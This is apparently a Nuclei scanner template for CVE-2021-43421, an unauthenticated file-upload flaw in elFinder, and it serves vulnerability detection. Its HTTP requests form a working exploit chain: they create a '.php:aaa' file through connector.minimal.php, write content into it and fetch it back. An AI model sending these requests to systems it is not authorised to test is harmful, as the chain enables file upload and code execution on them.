id: CVE-2021-43421

info:
  name: Studio-42 elFinder <2.1.60 - Arbitrary File Upload
  author: akincibor
  severity: critical
  description: |
    Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code.
  reference:
    - https://github.com/Studio-42/elFinder/issues/3429
    - https://twitter.com/infosec_90/status/1455180286354919425
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43421
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-43421
    cwe-id: CWE-434
    epss-score: 0.02563
    cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    verified: true
    vendor: std42
    product: elfinder
  tags: cve,cve2021,elfinder,fileupload,rce,intrusive

http:
  - raw:
      - |
        GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name={{randstr}}.php:aaa HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /elFinder/php/connector.minimal.php?cmd=put&target={{hash}}&content={{randstr_1}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /elfinder/files/{{randstr}}.php%3Aaaa?_t= HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_3, "{{randstr_1}}")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: regex
        name: hash
        group: 1
        regex:
          - '"hash"\:"(.*?)"\,'
        internal: true